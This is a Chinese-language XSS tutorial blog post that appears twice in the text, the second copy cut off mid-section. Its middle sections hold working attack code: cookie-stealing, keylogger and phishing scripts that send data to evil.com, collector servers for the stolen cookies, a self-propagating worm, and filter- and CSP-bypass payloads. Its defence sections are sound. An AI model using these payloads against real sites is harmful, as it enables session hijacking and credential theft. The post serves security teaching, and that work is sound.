前言XSSCross-Site Scripting跨站脚本攻击是Web安全领域中最经典、最常见也最危险的漏洞类型之一。在OWASP Top 10安全风险榜单中XSS被归类为A03:2021-Injection注入的子类与SQL注入、命令注入等同属注入类攻击。之所以将它命名为XSS而不是CSS是为了避免与层叠样式表Cascading Style Sheets的缩写CSS产生冲突。XSS的核心危害体现在多个方面第一窃取用户Cookie攻击者可以拿到用户的会话凭证无需密码即可冒充用户登录第二会话劫持结合窃取到的Cookie或Session Token直接接管用户会话第三键盘记录通过注入JavaScript监听键盘事件记录用户输入的所有按键内容包括账号密码、银行卡号等敏感信息第四钓鱼欺骗通过修改页面DOM结构伪造登录框、支付框诱导用户主动输入敏感数据第五网页挂马利用XSS在页面中植入暗链或恶意脚本引导用户访问木马下载地址进而控制用户主机。根据多家安全厂商的年度漏洞统计报告XSS在Web应用漏洞中的占比常年保持在30%以上是出现频率最高的漏洞类型之一。无论是大型互联网公司的核心业务系统还是个人开发者的小型站点都曾频繁曝出XSS漏洞。著名的Samy Worm事件中攻击者仅用20小时就通过XSS蠕虫感染了MySpace上超过100万用户充分展示了XSS的破坏力。【警告】本文仅供网络安全学习、授权渗透测试和防御研究使用。未经授权对他人系统进行XSS攻击测试属于违法行为可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条非法侵入计算机信息系统罪、第二百八十六条破坏计算机信息系统罪等相关条款。请务必在合法授权的环境下进行实验作者不对读者滥用本文技术造成的任何后果承担法律责任。一、XSS原理详解1.1 什么是XSSXSS跨站脚本攻击的本质是攻击者通过某种方式向Web页面中注入恶意的JavaScript代码也包括VBScript、HTML等当其他正常用户访问该页面时注入的恶意脚本会在用户浏览器中自动解析并执行从而实现对用户的攻击。XSS与SQL注入的区别在于SQL注入发生在服务端数据库层面而XSS发生在客户端浏览器层面。XSS利用的是浏览器对HTML和JavaScript的信任机制——浏览器会无条件执行页面中出现的所有合法脚本而不去区分这些脚本是网站开发者写的还是攻击者注入的。XSS攻击能够成立通常需要满足两个前提条件一是Web应用存在用户输入输出点且输入的内容未经充分过滤就被输出到页面中二是攻击者能够控制这些输入点的内容使其包含可被浏览器解析执行的脚本代码。1.2 漏洞代码示例下面是PHP中典型的XSS漏洞代码直接将用户输入通过GET参数输出到页面php?php// 漏洞代码直接输出用户输入无任何过滤$name $_GET[name];echo 欢迎您 . $name;?当攻击者构造URLhttp://example.com/?namescriptalert(XSS)/script 时浏览器会执行弹窗。Python Flask框架中使用render_template_string同样存在风险pythonfrom flask import Flask, request, render_template_stringapp Flask(__name__)app.route(/)def index():name request.args.get(name, )# 漏洞直接拼接用户输入到模板字符串return render_template_string(h1欢迎您{{ name }}/h1, namename)if __name__ __main__:app.run(debugTrue)1.3 安全代码示例PHP中使用htmlspecialchars函数对特殊字符进行HTML实体编码php?php// 安全代码使用htmlspecialchars转义特殊字符$name $_GET[name];echo 欢迎您 . htmlspecialchars($name, ENT_QUOTES, UTF-8);?Flask中可以使用Markup或开启自动转义pythonfrom flask import Flask, request, render_template_string, escapeapp Flask(__name__)app.route(/)def index():name request.args.get(name, )# 安全使用escape函数转义return render_template_string(h1欢迎您{{ name }}/h1, nameescape(name))if __name__ __main__:app.run(debugTrue)二、XSS分类2.1 反射型XSS反射型XSS是最常见的一种XSS类型。攻击者将恶意脚本代码作为参数嵌入到URL中服务端接收该参数后未经过滤直接输出到响应页面中浏览器解析响应时执行恶意脚本。由于恶意代码不会存储在服务端每次攻击都需要用户点击对应的恶意链接才能触发因此称为反射型。典型场景是搜索功能用户在搜索框输入关键词后页面回显您搜索的关键词是xxx。如果回显内容未过滤攻击者可构造如下链接发送给受害者http://example.com/search.php?qscriptalert(XSS)/script示例payloadhtmlscriptalert(XSS)/script2.2 存储型XSS存储型XSS是危害最大的一种XSS类型。攻击者将恶意脚本提交并存储到服务端数据库中如留言板、评论区、个人资料等之后所有访问该页面的用户都会自动触发恶意脚本执行。由于恶意代码持久化存储无需诱导用户点击特定链接只要用户访问受感染页面就会中招因此也被称为持久型XSS。典型场景是留言板攻击者在留言内容中提交如下内容htmlscript// 窃取Cookie并发送到攻击者服务器var img new Image();img.src http://evil.com/steal.php?cookie document.cookie;/script该留言被保存到数据库后任何访问留言列表页面的用户其Cookie都会被静默发送到攻击者服务器。2.3 DOM型XSSDOM型XSS是一种特殊的XSS类型其恶意代码的执行完全不经过服务端而是在客户端由JavaScript操作DOM时触发。服务端响应的HTML页面本身是正常的但页面中的JavaScript代码将用户可控的数据如location.hash、location.search、document.referrer等直接写入DOM导致脚本执行。典型漏洞代码htmlscript// 漏洞直接将URL hash写入页面document.write(location.hash.substring(1));/script攻击者构造链接http://example.com/#img srcx οnerrοralert(1)当用户访问时onerror事件触发执行alert(1)。三、实战环境搭建为了合法地学习和测试XSS攻击技术我们需要搭建本地靶场环境。这里推荐两种方式使用Docker快速搭建DVWA靶场或使用PHP自建简单漏洞页面。3.1 使用Docker搭建DVWADVWADamn Vulnerable Web Application是知名的安全演练靶场内置了反射型和存储型XSS漏洞场景。使用Docker一行命令即可启动bash# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 启动DVWA容器映射端口8080docker run -d -p 8080:80 vulnerables/web-dvwa# 查看容器运行状态docker ps启动后浏览器访问 http://localhost:8080默认账号admin/password登录后在左侧菜单找到XSS (Reflected)和XSS (Stored)即可开始练习。3.2 自建简单漏洞页面如果没有Docker环境可以用PHP快速搭建一个漏洞页面用于测试php?php// vuln_xss.php - 简单XSS漏洞测试页面header(Content-Type: text/html; charsetutf-8);if (isset($_GET[input])) {$input $_GET[input];echo h2您输入的内容是/h2;echo div . $input . /div;} else {echo form methodget;echo 输入input typetext nameinput;echo input typesubmit value提交;echo /form;}?将其放置在PHP环境根目录访问 http://localhost/vuln_xss.php?inputscriptalert(1)/script 即可触发XSS。四、XSS实战利用全流程4.1 XSS基础测试Payload大全在进行XSS测试时需要准备一套全面的测试payload覆盖各种标签和事件。下面是20条常用测试payloadhtml!-- 基础script标签 --scriptalert(XSS)/scriptScRiPtalert(XSS)/ScRiPtscript alert(XSS)/scriptscript/srcjavascript:alert(XSS)/script!-- img标签各种变形 --img srcx οnerrοralert(XSS)img srcx οnerrοralert(String.fromCharCode(88,83,83))img src1 href1 οnerrοrjavascript:alert(XSS)/imgimg srcjavascript:alert(XSS)!-- svg标签 --svg οnlοadalert(XSS)svg/οnlοadalert(XSS)svgscriptalert(XSS)/script/svg!-- body标签事件 --body οnlοadalert(XSS)body οnpageshοwalert(XSS)!-- iframe框架 --iframe srcjavascript:alert(XSS)/iframeiframe οnlοadalert(XSS)/iframe!-- input、details、audio等标签 --input οnfοcusalert(XSS) autofocusdetails open οntοgglealert(XSS)audio srcx οnerrοralert(XSS)video srcx οnerrοralert(XSS)marquee onstartalert(XSS)!-- 编码变形 --a hrefjavascript:alert(XSS)click/adiv οnmοuseοveralert(XSS)hover me/div4.2 窃取Cookie实战窃取Cookie是XSS最常见的利用方式。攻击者构造一段JavaScript代码获取当前页面的document.cookie然后通过图片请求或fetch方式发送到攻击者控制的服务器。注入到目标页面的恶意JS代码javascript// 恶意payload窃取Cookie并发送到攻击者服务器var img new Image();img.src http://evil.com/steal.php?cookie encodeURIComponent(document.cookie) location encodeURIComponent(window.location.href);document.body.appendChild(img);攻击者服务端的Cookie接收脚本PHP版php?php// steal.php - 接收并记录Cookie$cookie $_GET[cookie] ?? ;$location $_GET[location] ?? ;$ip $_SERVER[REMOTE_ADDR];$time date(Y-m-d H:i:s);$log [{$time}] IP:{$ip} Location:{$location} Cookie:{$cookie}\n;file_put_contents(cookies.txt, $log, FILE_APPEND);?Python Flask版接收脚本pythonfrom flask import Flask, requestfrom datetime import datetimeapp Flask(__name__)app.route(/steal)def steal():cookie request.args.get(cookie, )location request.args.get(location, )ip request.remote_addrtime datetime.now().strftime(%Y-%m-%d %H:%M:%S)log f[{time}] IP:{ip} Location:{location} Cookie:{cookie}\nwith open(cookies.txt, a, encodingutf-8) as f:f.write(log)return okif __name__ __main__:app.run(host0.0.0.0, port80)4.3 键盘记录器通过XSS注入键盘记录代码可以记录用户在页面上的所有按键操作从中提取账号密码等敏感信息javascript// XSS键盘记录器var keys ;var logUrl http://evil.com/keylog.php;document.onkeypress function(e) {e e || window.event;var key String.fromCharCode(e.charCode ? e.charCode : e.keyCode);keys key;};// 每3秒发送一次按键记录setInterval(function() {if (keys.length 0) {var img new Image();img.src logUrl ?keys encodeURIComponent(keys);keys ;}}, 3000);4.4 XSS钓鱼攻击利用XSS修改页面DOM伪造一个登录表单覆盖原页面诱导用户输入账号密码javascript// XSS钓鱼伪造登录框窃取账号密码var phishingHtml div styleposition:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:99999;;phishingHtml h2 styletext-align:center;margin-top:200px;登录已过期请重新登录/h2;phishingHtml form idphishForm stylewidth:300px;margin:0 auto;;phishingHtml input typetext nameusername placeholder账号 stylewidth:100%;padding:8px;margin:5px 0;br;phishingHtml input typepassword namepassword placeholder密码 stylewidth:100%;padding:8px;margin:5px 0;br;phishingHtml button typesubmit stylewidth:100%;padding:8px;background:#1890ff;color:#fff;登录/button;phishingHtml /form/div;document.body.innerHTML phishingHtml;document.getElementById(phishForm).onsubmit function() {var username this.username.value;var password this.password.value;var img new Image();img.src http://evil.com/phish.php?u encodeURIComponent(username) p encodeURIComponent(password);return false;};4.5 XSS蠕虫传播XSS蠕虫是存储型XSS的终极利用形态。恶意脚本不仅执行攻击操作还会自动将自身payload传播到其他用户的资料、留言等输入点形成链式传播。著名的Samy Worm就是典型案例。其核心原理是payload在被触发执行后自动构造一个POST请求将自身代码提交到网站的留言/资料接口感染下一个访问者。javascript// XSS蠕虫简化示例伪代码需根据目标站点接口调整var wormPayload scriptvar w location.href ; fetch(/api/comment,{method:POST,headers:{Content-Type:application/x-www-form-urlencoded}, body:contentencodeURIComponent(wormPayload)});/ script;// 将自身payload提交到评论接口实现传播fetch(/api/comment, {method: POST,headers: {Content-Type: application/x-www-form-urlencoded},body: content encodeURIComponent(wormPayload)});五、XSS绕过技巧实际环境中Web应用通常会部署过滤、WAF等防御措施需要掌握各种绕过技巧。5.1 大小写绕过当过滤器只匹配小写的script标签时可以通过大小写混写绕过htmlScRiPtalert(1)/ScRiPtsCrIpTalert(1)/sCrIpTSCRIPTalert(1)/SCRIPT5.2 编码绕过通过对payload进行编码可以绕过基于关键字匹配的过滤器。常用编码方式包括HTML实体编码、Unicode编码、Base64编码、JSFuck等。HTML实体编码htmlimg srcx οnerrοr#97;#108;#101;#114;#116;#40;#49;#41;a hrefjavascript:#97;#108;#101;#114;#116;#40;#49;#41;click/aUnicode编码htmlimg srcx οnerrοr\u0061\u006c\u0065\u0072\u0074(1)Base64编码配合data协议htmliframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/iframeJSFuck编码仅用6个字符[]()!编写JShtmlimg srcx οnerrοr[][(![][])[[]](![][])[![]![]]5.3 标签变形当script标签被严格过滤时可利用其他支持事件或JavaScript执行的标签htmlimg srcx οnerrοralert(1)svg οnlοadalert(1)body οnlοadalert(1)iframe οnlοadalert(1)input οnfοcusalert(1) autofocusdetails open οntοgglealert(1)select οnfοcusalert(1) autofocus/selectvideo srcx οnerrοralert(1)audio srcx οnerrοralert(1)5.4 关键字绕过当alert、script等关键字被过滤时可采用双写、拼接、注释分割等方式绕过html!-- 双写绕过 --scrscriptiptalert(1)/scr/scriptipt!-- 字符串拼接绕过 --img srcx οnerrοral#101;rt(1)img srcx οnerrοrwindow[alert](1)!-- 注释分割绕过 --scriptal/**/ert(1)/scriptimg srcx οnerrοralert/**/(1)5.5 CSP绕过技巧CSP内容安全策略是防御XSS的重要手段但在配置不当时仍可绕过。常见绕过思路包括利用CSP白名单中存在可控参数的域名如文件上传、JSONP回调利用base标签重定向资源加载利用Angular、Vue等框架的模板注入利用unsafe-inline或unsafe-eval配置缺陷。html!-- 利用JSONP回调绕过CSP --script srchttps://trusted.com/jsonp?callbackalert(1)///script!-- 利用base标签劫持资源加载 --base hrefhttp://evil.com/script src/js/lib.js/script六、XSS防御方案6.1 输出编码输出编码是防御XSS最核心、最有效的方法。根据输出位置的不同需要采用不同的编码方式输出到HTML标签之间使用HTML实体编码输出到JavaScript上下文使用JavaScript编码输出到URL属性使用URL编码。下表是各主流语言的编码函数语言HTML编码函数JavaScript编码函数URL编码函数PHPhtmlspecialcharsjson_encodeurlencodeJavaorg.apache.commons.text.StringEscapeUtilsJavaScriptUtilsURLEncoder.encodePythonhtml.escapejson.dumpsurllib.parse.quoteJavaScript(Node)escape-htmlserialize-javascriptencodeURIComponentC#(.NET)HttpUtility.HtmlEncodeHttpUtility.JavaScriptStringEncodeHttpUtility.UrlEncodePHP的htmlspecialchars示例?php // ENT_QUOTES转换双引号和单引号UTF-8指定字符编码 $safe htmlspecialchars($input, ENT_QUOTES, UTF-8); echo $safe; ?6.2 HttpOnly Cookie为Cookie设置HttpOnly属性可以防止JavaScript通过document.cookie读取Cookie即使存在XSS漏洞也无法窃取会话凭证。这是纵深防御的重要一环。?php // PHP设置HttpOnly Cookie setcookie(session_id, $sessionId, [ httponly true, secure true, // 仅HTTPS传输 samesite Strict // 防止CSRF ]); ?# Flask设置HttpOnly Cookie from flask import Flask, make_response app Flask(name) app.route(/) def index(): resp make_response(ok) resp.set_cookie(session_id, abc123, httponlyTrue, secureTrue, samesiteStrict) return resp6.3 CSP内容安全策略CSPContent Security Policy通过白名单机制限制页面可加载和执行的资源来源是防御XSS的强力手段。合理配置CSP可以阻断内联脚本执行、限制外部脚本来源大幅降低XSS危害。# Apache配置CSP头.htaccess Header set Content-Security-Policy default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; object-src none; base-uri self# Nginx配置CSP头 add_header Content-Security-Policy default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; object-src none; base-uri self always;【提示】配置CSP时应遵循最小权限原则script-src尽量不使用unsafe-inline和unsafe-eval否则CSP的防护效果将大打折扣。6.4 输入验证与过滤输入验证应采用白名单机制只允许预期格式的数据通过而不是试图枚举所有恶意内容黑名单方式容易被绕过。例如用户名只允许字母数字下划线邮箱必须符合邮箱格式年龄必须是数字等。?php // 白名单校验示例 function validateInput($data, $type) { switch ($type) { case username: // 仅允许字母数字下划线3-20位 if (preg_match(/^[a-zA-Z0-9_]{3,20}$/, $data)) { return $data; } return ; case email: if (filter_var($data, FILTER_VALIDATE_EMAIL)) { return $data; } return ; case age: $age intval($data); if ($age 0 $age 150) { return $age; } return 0; } return ; } ?6.5 现代前端框架的自动转义现代前端框架默认对插值表达式进行HTML转义从框架层面降低了XSS风险。React默认转义所有在JSX中渲染的变量Vue默认转义双花括号插值的内容开发者只需注意避免使用危险API。// React默认安全自动转义 function App() { const userInput scriptalert(XSS)/script; // 以下渲染会被转义为纯文本显示不会执行 return div{userInput}/div; } // React危险APIdangerouslySetInnerHTML会绕过转义需谨慎使用 function App2() { const userInput scriptalert(XSS)/script; return div dangerouslySetInnerHTML{{__html: userInput}} /; }!-- Vue默认安全双花括号插值自动转义 -- template div{{ userInput }}/div /template !-- Vue危险APIv-html会绕过转义需谨慎使用 -- template div v-htmluserInput/div /template【注意】React的dangerouslySetInnerHTML和Vue的v-html会绕过框架的自动转义将内容作为原始HTML渲染存在XSS风险。使用前必须对内容进行严格的过滤和清洗确保内容来源可信。七、总结XSS跨站脚本攻击是Web安全中最常见也最危险的漏洞类型之一。从攻防核心要点来看攻击方面XSS的本质是输入输出未分离导致恶意脚本注入执行利用手法涵盖反射型、存储型、DOM型三种类型配合编码、标签变形、关键字绕过等技巧可以突破多数过滤防御方面输出编码是根本之道HttpOnly Cookie、CSP策略、输入白名单校验、前端框架自动转义构成纵深防御体系。【提示】安全防御没有银弹任何单一手段都无法100%防御XSS。建议采用纵深防御策略将输出编码、CSP、HttpOnly、输入校验等多种手段组合使用并配合定期的安全扫描和代码审计才能有效降低XSS风险。推荐学习资源1. OWASP XSS Prevention Cheat Sheet - OWASP官方XSS防御速查表系统总结了XSS防御的最佳实践。2. PortSwigger Web Security Academy - XSS Labs - Burp Suite厂商提供的免费XSS实战实验室包含反射型、存储型、DOM型及各种绕过场景的实战练习是提升XSS实战能力的最佳平台。3. OWASP Testing Guide - OWASP测试指南中的XSS测试章节提供了系统化的XSS测试方法论。4. HTML5 Security Cheatsheet - 汇总了大量XSS payload和绕过技巧是XSS研究和测试的实用参考。掌握XSS攻防技术不仅是Web安全工程师的基本功也是构建安全Web应用的必备知识。希望本文能帮助读者建立对XSS的全面认识在攻防对抗中做到知己知彼。如果你觉得本文对你有帮助建议收藏以便后续复习参考。
【Web安全】XSS跨站脚本攻击从原理到实战(保姆级教程,建议收藏)
前言XSSCross-Site Scripting跨站脚本攻击是Web安全领域中最经典、最常见也最危险的漏洞类型之一。在OWASP Top 10安全风险榜单中XSS被归类为A03:2021-Injection注入的子类与SQL注入、命令注入等同属注入类攻击。之所以将它命名为XSS而不是CSS是为了避免与层叠样式表Cascading Style Sheets的缩写CSS产生冲突。XSS的核心危害体现在多个方面第一窃取用户Cookie攻击者可以拿到用户的会话凭证无需密码即可冒充用户登录第二会话劫持结合窃取到的Cookie或Session Token直接接管用户会话第三键盘记录通过注入JavaScript监听键盘事件记录用户输入的所有按键内容包括账号密码、银行卡号等敏感信息第四钓鱼欺骗通过修改页面DOM结构伪造登录框、支付框诱导用户主动输入敏感数据第五网页挂马利用XSS在页面中植入暗链或恶意脚本引导用户访问木马下载地址进而控制用户主机。根据多家安全厂商的年度漏洞统计报告XSS在Web应用漏洞中的占比常年保持在30%以上是出现频率最高的漏洞类型之一。无论是大型互联网公司的核心业务系统还是个人开发者的小型站点都曾频繁曝出XSS漏洞。著名的Samy Worm事件中攻击者仅用20小时就通过XSS蠕虫感染了MySpace上超过100万用户充分展示了XSS的破坏力。【警告】本文仅供网络安全学习、授权渗透测试和防御研究使用。未经授权对他人系统进行XSS攻击测试属于违法行为可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条非法侵入计算机信息系统罪、第二百八十六条破坏计算机信息系统罪等相关条款。请务必在合法授权的环境下进行实验作者不对读者滥用本文技术造成的任何后果承担法律责任。一、XSS原理详解1.1 什么是XSSXSS跨站脚本攻击的本质是攻击者通过某种方式向Web页面中注入恶意的JavaScript代码也包括VBScript、HTML等当其他正常用户访问该页面时注入的恶意脚本会在用户浏览器中自动解析并执行从而实现对用户的攻击。XSS与SQL注入的区别在于SQL注入发生在服务端数据库层面而XSS发生在客户端浏览器层面。XSS利用的是浏览器对HTML和JavaScript的信任机制——浏览器会无条件执行页面中出现的所有合法脚本而不去区分这些脚本是网站开发者写的还是攻击者注入的。XSS攻击能够成立通常需要满足两个前提条件一是Web应用存在用户输入输出点且输入的内容未经充分过滤就被输出到页面中二是攻击者能够控制这些输入点的内容使其包含可被浏览器解析执行的脚本代码。1.2 漏洞代码示例下面是PHP中典型的XSS漏洞代码直接将用户输入通过GET参数输出到页面php?php// 漏洞代码直接输出用户输入无任何过滤$name $_GET[name];echo 欢迎您 . $name;?当攻击者构造URLhttp://example.com/?namescriptalert(XSS)/script 时浏览器会执行弹窗。Python Flask框架中使用render_template_string同样存在风险pythonfrom flask import Flask, request, render_template_stringapp Flask(__name__)app.route(/)def index():name request.args.get(name, )# 漏洞直接拼接用户输入到模板字符串return render_template_string(h1欢迎您{{ name }}/h1, namename)if __name__ __main__:app.run(debugTrue)1.3 安全代码示例PHP中使用htmlspecialchars函数对特殊字符进行HTML实体编码php?php// 安全代码使用htmlspecialchars转义特殊字符$name $_GET[name];echo 欢迎您 . htmlspecialchars($name, ENT_QUOTES, UTF-8);?Flask中可以使用Markup或开启自动转义pythonfrom flask import Flask, request, render_template_string, escapeapp Flask(__name__)app.route(/)def index():name request.args.get(name, )# 安全使用escape函数转义return render_template_string(h1欢迎您{{ name }}/h1, nameescape(name))if __name__ __main__:app.run(debugTrue)二、XSS分类2.1 反射型XSS反射型XSS是最常见的一种XSS类型。攻击者将恶意脚本代码作为参数嵌入到URL中服务端接收该参数后未经过滤直接输出到响应页面中浏览器解析响应时执行恶意脚本。由于恶意代码不会存储在服务端每次攻击都需要用户点击对应的恶意链接才能触发因此称为反射型。典型场景是搜索功能用户在搜索框输入关键词后页面回显您搜索的关键词是xxx。如果回显内容未过滤攻击者可构造如下链接发送给受害者http://example.com/search.php?qscriptalert(XSS)/script示例payloadhtmlscriptalert(XSS)/script2.2 存储型XSS存储型XSS是危害最大的一种XSS类型。攻击者将恶意脚本提交并存储到服务端数据库中如留言板、评论区、个人资料等之后所有访问该页面的用户都会自动触发恶意脚本执行。由于恶意代码持久化存储无需诱导用户点击特定链接只要用户访问受感染页面就会中招因此也被称为持久型XSS。典型场景是留言板攻击者在留言内容中提交如下内容htmlscript// 窃取Cookie并发送到攻击者服务器var img new Image();img.src http://evil.com/steal.php?cookie document.cookie;/script该留言被保存到数据库后任何访问留言列表页面的用户其Cookie都会被静默发送到攻击者服务器。2.3 DOM型XSSDOM型XSS是一种特殊的XSS类型其恶意代码的执行完全不经过服务端而是在客户端由JavaScript操作DOM时触发。服务端响应的HTML页面本身是正常的但页面中的JavaScript代码将用户可控的数据如location.hash、location.search、document.referrer等直接写入DOM导致脚本执行。典型漏洞代码htmlscript// 漏洞直接将URL hash写入页面document.write(location.hash.substring(1));/script攻击者构造链接http://example.com/#img srcx οnerrοralert(1)当用户访问时onerror事件触发执行alert(1)。三、实战环境搭建为了合法地学习和测试XSS攻击技术我们需要搭建本地靶场环境。这里推荐两种方式使用Docker快速搭建DVWA靶场或使用PHP自建简单漏洞页面。3.1 使用Docker搭建DVWADVWADamn Vulnerable Web Application是知名的安全演练靶场内置了反射型和存储型XSS漏洞场景。使用Docker一行命令即可启动bash# 拉取DVWA镜像docker pull vulnerables/web-dvwa# 启动DVWA容器映射端口8080docker run -d -p 8080:80 vulnerables/web-dvwa# 查看容器运行状态docker ps启动后浏览器访问 http://localhost:8080默认账号admin/password登录后在左侧菜单找到XSS (Reflected)和XSS (Stored)即可开始练习。3.2 自建简单漏洞页面如果没有Docker环境可以用PHP快速搭建一个漏洞页面用于测试php?php// vuln_xss.php - 简单XSS漏洞测试页面header(Content-Type: text/html; charsetutf-8);if (isset($_GET[input])) {$input $_GET[input];echo h2您输入的内容是/h2;echo div . $input . /div;} else {echo form methodget;echo 输入input typetext nameinput;echo input typesubmit value提交;echo /form;}?将其放置在PHP环境根目录访问 http://localhost/vuln_xss.php?inputscriptalert(1)/script 即可触发XSS。四、XSS实战利用全流程4.1 XSS基础测试Payload大全在进行XSS测试时需要准备一套全面的测试payload覆盖各种标签和事件。下面是20条常用测试payloadhtml!-- 基础script标签 --scriptalert(XSS)/scriptScRiPtalert(XSS)/ScRiPtscript alert(XSS)/scriptscript/srcjavascript:alert(XSS)/script!-- img标签各种变形 --img srcx οnerrοralert(XSS)img srcx οnerrοralert(String.fromCharCode(88,83,83))img src1 href1 οnerrοrjavascript:alert(XSS)/imgimg srcjavascript:alert(XSS)!-- svg标签 --svg οnlοadalert(XSS)svg/οnlοadalert(XSS)svgscriptalert(XSS)/script/svg!-- body标签事件 --body οnlοadalert(XSS)body οnpageshοwalert(XSS)!-- iframe框架 --iframe srcjavascript:alert(XSS)/iframeiframe οnlοadalert(XSS)/iframe!-- input、details、audio等标签 --input οnfοcusalert(XSS) autofocusdetails open οntοgglealert(XSS)audio srcx οnerrοralert(XSS)video srcx οnerrοralert(XSS)marquee onstartalert(XSS)!-- 编码变形 --a hrefjavascript:alert(XSS)click/adiv οnmοuseοveralert(XSS)hover me/div4.2 窃取Cookie实战窃取Cookie是XSS最常见的利用方式。攻击者构造一段JavaScript代码获取当前页面的document.cookie然后通过图片请求或fetch方式发送到攻击者控制的服务器。注入到目标页面的恶意JS代码javascript// 恶意payload窃取Cookie并发送到攻击者服务器var img new Image();img.src http://evil.com/steal.php?cookie encodeURIComponent(document.cookie) location encodeURIComponent(window.location.href);document.body.appendChild(img);攻击者服务端的Cookie接收脚本PHP版php?php// steal.php - 接收并记录Cookie$cookie $_GET[cookie] ?? ;$location $_GET[location] ?? ;$ip $_SERVER[REMOTE_ADDR];$time date(Y-m-d H:i:s);$log [{$time}] IP:{$ip} Location:{$location} Cookie:{$cookie}\n;file_put_contents(cookies.txt, $log, FILE_APPEND);?Python Flask版接收脚本pythonfrom flask import Flask, requestfrom datetime import datetimeapp Flask(__name__)app.route(/steal)def steal():cookie request.args.get(cookie, )location request.args.get(location, )ip request.remote_addrtime datetime.now().strftime(%Y-%m-%d %H:%M:%S)log f[{time}] IP:{ip} Location:{location} Cookie:{cookie}\nwith open(cookies.txt, a, encodingutf-8) as f:f.write(log)return okif __name__ __main__:app.run(host0.0.0.0, port80)4.3 键盘记录器通过XSS注入键盘记录代码可以记录用户在页面上的所有按键操作从中提取账号密码等敏感信息javascript// XSS键盘记录器var keys ;var logUrl http://evil.com/keylog.php;document.onkeypress function(e) {e e || window.event;var key String.fromCharCode(e.charCode ? e.charCode : e.keyCode);keys key;};// 每3秒发送一次按键记录setInterval(function() {if (keys.length 0) {var img new Image();img.src logUrl ?keys encodeURIComponent(keys);keys ;}}, 3000);4.4 XSS钓鱼攻击利用XSS修改页面DOM伪造一个登录表单覆盖原页面诱导用户输入账号密码javascript// XSS钓鱼伪造登录框窃取账号密码var phishingHtml div styleposition:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:99999;;phishingHtml h2 styletext-align:center;margin-top:200px;登录已过期请重新登录/h2;phishingHtml form idphishForm stylewidth:300px;margin:0 auto;;phishingHtml input typetext nameusername placeholder账号 stylewidth:100%;padding:8px;margin:5px 0;br;phishingHtml input typepassword namepassword placeholder密码 stylewidth:100%;padding:8px;margin:5px 0;br;phishingHtml button typesubmit stylewidth:100%;padding:8px;background:#1890ff;color:#fff;登录/button;phishingHtml /form/div;document.body.innerHTML phishingHtml;document.getElementById(phishForm).onsubmit function() {var username this.username.value;var password this.password.value;var img new Image();img.src http://evil.com/phish.php?u encodeURIComponent(username) p encodeURIComponent(password);return false;};4.5 XSS蠕虫传播XSS蠕虫是存储型XSS的终极利用形态。恶意脚本不仅执行攻击操作还会自动将自身payload传播到其他用户的资料、留言等输入点形成链式传播。著名的Samy Worm就是典型案例。其核心原理是payload在被触发执行后自动构造一个POST请求将自身代码提交到网站的留言/资料接口感染下一个访问者。javascript// XSS蠕虫简化示例伪代码需根据目标站点接口调整var wormPayload scriptvar w location.href ; fetch(/api/comment,{method:POST,headers:{Content-Type:application/x-www-form-urlencoded}, body:contentencodeURIComponent(wormPayload)});/ script;// 将自身payload提交到评论接口实现传播fetch(/api/comment, {method: POST,headers: {Content-Type: application/x-www-form-urlencoded},body: content encodeURIComponent(wormPayload)});五、XSS绕过技巧实际环境中Web应用通常会部署过滤、WAF等防御措施需要掌握各种绕过技巧。5.1 大小写绕过当过滤器只匹配小写的script标签时可以通过大小写混写绕过htmlScRiPtalert(1)/ScRiPtsCrIpTalert(1)/sCrIpTSCRIPTalert(1)/SCRIPT5.2 编码绕过通过对payload进行编码可以绕过基于关键字匹配的过滤器。常用编码方式包括HTML实体编码、Unicode编码、Base64编码、JSFuck等。HTML实体编码htmlimg srcx οnerrοr#97;#108;#101;#114;#116;#40;#49;#41;a hrefjavascript:#97;#108;#101;#114;#116;#40;#49;#41;click/aUnicode编码htmlimg srcx οnerrοr\u0061\u006c\u0065\u0072\u0074(1)Base64编码配合data协议htmliframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/iframeJSFuck编码仅用6个字符[]()!编写JShtmlimg srcx οnerrοr[][(![][])[[]](![][])[![]![]]5.3 标签变形当script标签被严格过滤时可利用其他支持事件或JavaScript执行的标签htmlimg srcx οnerrοralert(1)svg οnlοadalert(1)body οnlοadalert(1)iframe οnlοadalert(1)input οnfοcusalert(1) autofocusdetails open οntοgglealert(1)select οnfοcusalert(1) autofocus/selectvideo srcx οnerrοralert(1)audio srcx οnerrοralert(1)5.4 关键字绕过当alert、script等关键字被过滤时可采用双写、拼接、注释分割等方式绕过html!-- 双写绕过 --scrscriptiptalert(1)/scr/scriptipt!-- 字符串拼接绕过 --img srcx οnerrοral#101;rt(1)img srcx οnerrοrwindow[alert](1)!-- 注释分割绕过 --scriptal/**/ert(1)/scriptimg srcx οnerrοralert/**/(1)5.5 CSP绕过技巧CSP内容安全策略是防御XSS的重要手段但在配置不当时仍可绕过。常见绕过思路包括利用CSP白名单中存在可控参数的域名如文件上传、JSONP回调利用base标签重定向资源加载利用Angular、Vue等框架的模板注入利用unsafe-inline或unsafe-eval配置缺陷。html!-- 利用JSONP回调绕过CSP --script srchttps://trusted.com/jsonp?callbackalert(1)///script!-- 利用base标签劫持资源加载 --base hrefhttp://evil.com/script src/js/lib.js/script六、XSS防御方案6.1 输出编码输出编码是防御XSS最核心、最有效的方法。根据输出位置的不同需要采用不同的编码方式输出到HTML标签之间使用HTML实体编码输出到JavaScript上下文使用JavaScript编码输出到URL属性使用URL编码。下表是各主流语言的编码函数语言HTML编码函数JavaScript编码函数URL编码函数PHPhtmlspecialcharsjson_encodeurlencodeJavaorg.apache.commons.text.StringEscapeUtilsJavaScriptUtilsURLEncoder.encodePythonhtml.escapejson.dumpsurllib.parse.quoteJavaScript(Node)escape-htmlserialize-javascriptencodeURIComponentC#(.NET)HttpUtility.HtmlEncodeHttpUtility.JavaScriptStringEncodeHttpUtility.UrlEncodePHP的htmlspecialchars示例?php // ENT_QUOTES转换双引号和单引号UTF-8指定字符编码 $safe htmlspecialchars($input, ENT_QUOTES, UTF-8); echo $safe; ?6.2 HttpOnly 